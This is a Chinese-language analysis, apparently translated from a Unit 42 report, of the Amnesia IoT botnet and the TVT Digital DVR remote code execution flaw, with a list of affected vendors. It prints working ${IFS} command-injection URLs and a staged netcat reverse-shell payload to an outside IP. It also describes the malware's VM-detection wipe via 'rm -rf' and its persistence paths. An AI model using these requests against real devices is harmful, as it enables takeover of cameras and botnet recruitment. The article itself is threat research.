0x01 概述

Unit 42的研究人员发现看新型IoT/Linux恶意软件Amnesia开始以 DVR 设备为目标构建僵尸网络,Amnesia恶意软件利用在2016年3月披露但没有补丁的TVT Digital的DVR(数字录像机)设备的远程代码执行漏洞进行攻击。

这个漏洞大约影响着全球大约227,000台设备,以台湾,美国,以色列,土耳其和印度最多,如图所示。1

3含有漏洞的DVR设备分布

此外,Amnesia恶意软件是第一个采用虚拟机逃避技术打败恶意软件分析沙箱的Linux恶意软件,虚拟机逃避技术通常与Microsoft Windows和Google Android恶意软件相关联。Amnesia会尝试检测它是否在VirtualBox,VMware还是QEMU的虚拟机中运行,如果它检测到这些环境,它将通过删除文件系统中的所有文件来擦除虚拟化的Linux系统。这不仅影响Linux恶意软件分析沙箱,还会影响VPS或公共云上的一些基于QEMU的Linux服务器。

Amnesia通过扫描,定位等技术来利用此远程代码执行漏洞。成功的攻击导致Amnesia能够完全控制装置。攻击者可能会利用Amnesia僵尸网络发起大范围的DDOS攻击。虽然这个漏洞在一年前就被公开披露了,但是至今好像还没有修复此漏洞。虽然Amnesia僵尸网络还没有被用来进行大规模的DDOS攻击,但这是一个存在很大问题的潜在危险。这里我们建议拥有此设备的读者使用最新的保护措施。

在追溯过程中,我们发现了有70多家厂商受到了影响,但是所有的DVR设备都是由TVT Digital公司制造的。

受此漏洞影响的厂商:

 Ademco
 ATS Alarmes technolgy and ststems
 Area1Protection
 Avio
 Black Hawk Security
 Capture
 China security systems
 Cocktail Service
 Cpsecured
 CP PLUS
 Digital Eye'z no website
 Diote Service & Consulting
 DVR Kapta
 ELVOX 
 ET Vision 
 Extra Eye 4 U
 eyemotion 
 EDS
 Fujitron 
 Full HD 1080p
 Gazer 
 Goldeye 
 Goldmaster
 Grizzly 
 HD IViewer
 Hi-View 
 Ipcom
 IPOX 
 IR
 ISC Illinois Security Cameras, Inc.
 JFL Alarmes 
 Lince 
 LOT
 Lux 
 Lynx Security 
 Magtec 
 Meriva Security 
 Multistar 
 Navaio
 NoVus 
 Optivision 
 PARA Vision
 Provision-ISR 
 Q-See 
 Questek 
 Retail Solution Inc
 RIT Huston .com 
 ROD Security cameras 
 Satvision 
 Sav Technology
 Skilleye 
 Smarteye 
 Superior Electrial Systems
 TechShell 
 TechSon
 Technomate 
 TecVoz 
 TeleEye 
 Tomura
 truVue
 TVT 
 Umbrella 
 United Video Security System, Inc
 Universal IT Solutions
 US IT Express
 U-Spy Store
 Ventetian 
 V-Gurad Security
 Vid8 
 Vtek
 Vision Line
 Visar
 Vodotech.com 
 Vook 
 Watchman 
 Xrplus 
 Yansi 
 Zetec
 ZoomX

0x02 技术细节

CCTV-DVR漏洞分析

这些设备的81/82还有8000端口都是打开的,我们打开Web的页面是这样的:

11

Shodan.ioCensys.io还有Zoomeye.org上查询,他们大约有227,000个,但我相信或许还有更多。

12

2

然后我们通过查找网页源码找到了WebClient.html,再查看的WebClient.html源码找到了script/live.js:里面包含了log/logo.png,如下图

13

我们再去官网下载固件,固件是一个zip的压缩包,解压后可以看到

14

首先我们查看boot.sh,发现其执行了另一个bash脚本deps2.sh,该脚本执行两个二进制文件。XVDRStart.hisitd3520a。从他们的大小可以看出来,主要代码应该是在td3520a下面。td3520a包含了符号表,这使分析变得更容易,在查看了一段时间后,我们发现在HTTP服务器的实现过程中出现了问题

15

可以看出,如果它包含以下内容,则读取URL。

/language/[language]/index.html

如果不存在,则执行此命令:

tar -zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language

这导致了远程代码执行。

但是要利用这个漏洞还要克服几个问题。

  1. 不能使用空格或换行符和服务器不了解的URL编码
  2.  斜线之间的长度有限。

但这是可以使用$ {IFS}绕过的,基本上,IFS代表内部字段分隔符,它保存着shell使用的值来确定如何进行字段分割。默认情况下,它保存“\n”,这正是我们需要的。我们可以通过请求:

/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js

当该文件被写入时,我们最试试另一个测试

/language/Swedish${IFS}&&echo${IFS}$USER>test&&tar${IFS}/string.js

这里它会输出“root”,但是考虑到长度的限制,我们把命令分成了三部分:

echo nc 1.1.1.1 1234>e
echo -e $SHELL>>e
$(cat e) &>r

接下来,我们再分析一下Amnesia恶意软件是如何使用这个漏洞来构建僵尸网络的。

Amnesia恶意软件分析

Amnesia使用IRC协议与其C2服务器进行通信。下图显示了一些接收到的命令,包括通过不同类型的HTTP泛滥和UDP泛滥来启动DDoS攻击。

4Amnesia的C2命令

除了这些命令外,还实施了两个命令:CCTVSCANNER和CCTVPROCS。这些命令用于扫描和利用TVT数字设备DVR中的RCE漏洞。收到命令后,Amnesia首先对该命令附带的IP地址进行简单的HTTP请求,检查目标是含有漏洞的DVR设备。这通过在HTTP响应内容中搜索特殊字符串“Cross Web Server”来完成,如下图所示,因为TVT DigitalDVR将此字符串用作HTTP标头中的服务器名称。

5检查DVR目标是否含有漏洞

如果发现含有漏洞的DVR,Amnesia将再发送四个HTTP请求,其中包含四个不同shell命令的漏洞利用负载。命令是:

这些命令创建了一个shell脚本文件并执行它。脚本内容与Amnesia C2服务器之一连接,并公开系统默认的shell。因此,受感染的设备将受攻击者的完全控制,并会收听从C2服务器发送的更多shell命令,如下图所示

6利用RCE漏洞

取证分析

当 Amnesia样本执行时,它将立即通过读取文件/sys/class/dmi/id/product_name/sys/class/dmi/id/sys_vendor 来检查它是否在虚拟机中运行,并检查文件内容与关键字“VirtualBox“,”VMware“和”QEMU“,如下图所示。这两个文件用于Linux DMI(桌面管理界面)存储硬件的产品和制造商信息。包含在DMI文件中的这些字符串意味着Linux系统分别在基于VirtualBoxVMwareQEMU的虚拟机中运行。

7检查DMI文件以检测VM

如果检测到虚拟机,Amnesia将自动删除,然后尝试删除所有以下目录:

  1. Linux根目录“/”,
  2. 当前用户的主目录“〜/”,
  3. 当前工作目录“./

这些删除操作基本上等同于擦除整个Linux系统。它们通过简单地执行shell命令“rm -rf”来实现,如下图所示。对于每个目录,“rm”命令将执行两次,一个在后台,一个在前台。因此,删除三个目录将是平行的。最后,Amnesia将等待删除完成。

8擦拭Linux系统

我们认为,Amnesia的作者想打败基于Linux的恶意软件分析沙盒,并为安全研究人员造成麻烦,因为代码中的硬编码但无用的字符串:“fxxkwhitehats”。但是,基于虚拟机的沙箱通常启用了系统快照,允许快速恢复到原始状态(样本的分析任务可能会被破坏)。在这些情况下,影响将受到限制。真正的问题是,如果恶意软件感染了一些基于QEMU的Linux服务器实例(如VPS供应商提供的虚拟主机),那么Linux服务器也将被擦除,如果备份不可用,这可能是灾难性的。

VM检查完后,Amnesia会根据当前用户的权限,在/etc/init.d/.rebootime和/etc/cron.daily/.reboottime〜/ .bashrc〜/ .bash_history中创建持久性文件。然后它会杀死所有与TelnetSSH相关的进程,并与C2服务器连接以接收进一步的命令。

Amnesia硬编码了三个域名,如“irc.freenode.net”作为诱饵C2服务器地址。然而,实际的C2配置在运行时由简单的Caesar密码算法解密。它选择了这三个服务器之一:

0x03 结论

除了Amnesia僵尸网络提供的威胁之外,恶意软件揭示了当前IoT / Linux僵尸网络威胁的一些有趣和显著的趋势:

在Amnesia的情况下,由于恶意软件依赖于硬编码的C2地址,如果尽可能的阻止这些地址,则可以防止另一个未来发生的潜在的攻击。在这里提醒各大IoT设备厂商,产品设备上线前应该先对设备进行安全检测,这些设备都是以后物联网世界的一部分,您的一个小举动或许影响到成千上万个人。

0x04 参考

http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/#ioc

 

*参考:paloaltonetworks,MottoIN小编编译发布,

源链接

Hacking more

...